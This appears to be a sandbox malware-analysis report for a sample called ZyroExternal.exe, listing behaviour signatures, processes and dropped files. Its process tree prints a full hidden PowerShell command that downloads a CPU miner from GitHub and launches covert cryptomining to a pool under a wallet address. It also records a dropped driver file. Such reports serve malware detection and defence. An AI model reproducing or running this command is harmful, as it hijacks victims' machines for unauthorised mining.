Overview

overview

8

Static

static

3

ZyroExternal.exe

windows10-2004-x64

8

ZyroExternal.exe

windows11-ltsc_2024-x64

8

Resubmissions

30/09/2026, 02:59

260930-dgt5taxvfw

30/09/2026, 02:54

260930-deandsxt8j8

Analysis

  • user interaction
    yes
  • max time kernel
    94s
  • max time network
    66s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 02:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ZyroExternal.exe
  • Size 1.1MB
  • Sample260930-deandsxt8j
  • SHA256 eb412825dfc1a0b00e58b2d29a68c0bfeafbfc135df976f05c47d4df6fd9be3c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ZyroExternal.exe
    "C:\Users\Admin\AppData\Local\Temp\ZyroExternal.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$w='H3SfFxBvQqb3abBCYT3hakP14dNrAZkGAcQZAPYKDAtf';$p="$env:USERPROFILE\xmrig";md $p -ea 0;if(!(Test-Path "$p\cpuminer-avx2.exe")){[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v3.20.0/cpuminer-opt-3.20.0-windows.zip' -OutFile "$p\x.zip" -UseBasicParsing -TimeoutSec 600;if(Test-Path "$p\x.zip"){Expand-Archive "$p\x.zip" "$p" -Force;Remove-Item "$p\x.zip"}};$c=(Get-CimInstance Win32_Processor);$name=$c.Name;$cores=$c.NumberOfLogicalProcessors;$t=[Math]::Ceiling($cores*0.4);Stop-Process -Name cpuminer* -Force -ErrorAction SilentlyContinue;$e=$null;if($name -match "Ryzen|Threadripper|EPYC"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "Intel.*Core.*[7-9]|Xeon|i[5-9]"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "AVX2|AVX-512"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "AVX"){$e="$p\cpuminer-avx.exe"}else{$e="$p\cpuminer-sse2.exe"};if(-not (Test-Path $e)){if(Test-Path "$p\cpuminer-avx2.exe"){$e="$p\cpuminer-avx2.exe"}elseif(Test-Path "$p\cpuminer-avx.exe"){$e="$p\cpuminer-avx.exe"}else{$e="$p\cpuminer-sse2.exe"}};Start-Process $e "-a","rx/0","-o","stratum+tcp://rx.unmineable.com:3333","-u","SOL:$w","--threads",$t -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3664
  • C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
    C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
    1⤵
    • Executes dropped EXE
    PID:1572

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_4eivp2gr.uaq.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4eivp2gr.uaq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        inpoutx64.sys
        • Path C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
        • Size 14KB
        • SHA256 f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1572-17-0x0000000000010000-0x0000000000017000-memory.dmp
        Download

        memory/3664-12-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-9-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-11-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-1-0x00007FFF1EF7F000-0x00007FFF1EF80000-memory.dmp
        Download

        memory/3664-13-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-14-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-15-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-8-0x00000223A0F50000-0x00000223A0F72000-memory.dmp
        Download

        memory/3664-2-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-18-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-20-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download

        memory/3664-21-0x00007FFF1EDF0000-0x00007FFF1F794000-memory.dmp
        Download